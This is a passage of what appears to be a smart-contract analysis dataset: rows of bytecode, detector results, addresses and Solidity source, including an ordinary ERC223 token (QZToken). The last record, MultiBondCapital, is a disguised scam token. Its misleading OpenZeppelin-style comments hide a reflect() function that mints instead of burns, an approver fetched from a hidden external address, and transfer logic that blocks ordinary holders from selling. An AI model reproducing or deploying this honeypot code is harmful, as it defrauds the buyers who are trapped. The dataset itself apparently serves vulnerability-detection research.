905092915050565b600081905092915050565b600061354c82613571565b9050919050565b600061355e82613571565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135b3826135ba565b9050919050565b60006135c5826135cc565b9050919050565b60006135d782613571565b9050919050565b82818337600083830152505050565b60005b8381101561360b5780820151818401526020810190506135f0565b8381111561361a576000848401525b50505050565b6000601f19601f8301169050919050565b61363a81613541565b811461364557600080fd5b50565b61365181613591565b811461365c57600080fd5b5056fea26469706673582212203a235432e3a346870391ebaf29008e8715e3ceebdeb4fb5791d07f144d0451fb64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,006 |
0x955fe846c726d5e4aa0a9eea65417dc7394e8dbf
|
pragma solidity ^0.4.21;
/**
* Math operations with safety checks
* https://github.com/Dexaran/ERC223-token-standard/blob/master/SafeMath.sol
*/
library SafeMath {
function mul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) pure internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) pure internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) pure internal returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) pure internal returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) pure internal returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) pure internal returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Contract that will work with ERC223 tokens.
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/ERC223_receiving_contract.sol
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/*
* @title ERC223 interface
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/ERC223_interface.sol
*/
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value) public;
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
/*
* @title More compatibility with ERC20
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/ERC20_functions.sol with additions from ERC223Token from https://github.com/Dexaran/ERC223-token-standard/blob/Recommended/ERC223_Token.sol
*/
contract ERC20CompatibleToken {
using SafeMath for uint;
mapping(address => uint) balances; // List of user balances.
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) internal allowed;
// Function to access name of token .
function name() public view returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Reference implementation of the ERC223 standard token.
* https://github.com/Dexaran/ERC223-token-standard/blob/ERC20_compatible/Token.sol
*/
contract ERC223Token is ERC223Interface, ERC20CompatibleToken {
using SafeMath for uint;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
bytes memory empty;
emit Transfer(_from, _to, _value, empty);
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) public {
uint codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, empty);
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract QZToken is ERC223Token {
/* Initializes contract with initial supply tokens to the creator of the contract */
function QZToken(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 initialSupply) public {
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
totalSupply = initialSupply * 10 ** uint(decimalUnits); // Update total supply
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
}
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce56714610249578063661884631461027857806370a08231146102d257806395d89b411461031f578063a9059cbb146103ad578063be45fd62146103ef578063d73dd62314610474578063dd62ed3e146104ce575b600080fd5b34156100ca57600080fd5b6100d261053a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106de565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610b6f565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b6102b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b86565b604051808215151515815260200191505060405180910390f35b34156102dd57600080fd5b610309600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e17565b6040518082815260200191505060405180910390f35b341561032a57600080fd5b610332610e60565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610372578082015181840152602081019050610357565b50505050905090810190601f16801561039f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b857600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f08565b005b34156103fa57600080fd5b610472600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506112a2565b005b341561047f57600080fd5b6104b4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611633565b604051808215151515815260200191505060405180910390f35b34156104d957600080fd5b610524600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061182f565b6040518082815260200191505060405180910390f35b6105426118ed565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d85780601f106105ad576101008083540402835291602001916105d8565b820191906000526020600020905b8154815290600101906020018083116105bb57829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60006106e8611901565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561072457600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561077257600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156107fd57600080fd5b61084f83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b683600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3806040518082805190602001908083835b602083101515610ad15780518252602082019150602081019050602083039250610aac565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a460019150509392505050565b6000600460009054906101000a900460ff16905090565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c97576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2b565b610caa83826118b690919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e686118ed565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b6000610f12611901565b6000843b9250610f6a84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fff84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561116e578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111105780820151818401526020810190506110f5565b50505050905090810190601f16801561113d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561115d57600080fd5b5af1151561116a57600080fd5b5050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3816040518082805190602001908083835b60208310151561120957805182526020820191506020810190506020830392506111e4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a45050505050565b600080843b91506112fb84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156114ff578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114a1578082015181840152602081019050611486565b50505050905090810190601f1680156114ce5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156114ee57600080fd5b5af115156114fb57600080fd5b5050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3826040518082805190602001908083835b60208310151561159a5780518252602082019150602081019050602083039250611575565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a45050505050565b60006116c482600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156118c457fe5b818303905092915050565b60008082840190508381101515156118e357fe5b8091505092915050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820012e93cb25c1b1514620a151c61b38113c88f250b42c8dd32fb95731d952fe3a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,007 |
0x3C8a1167E00529b26ff86f348055b15C06A9F2A5
|
/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MultiBondCapital is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
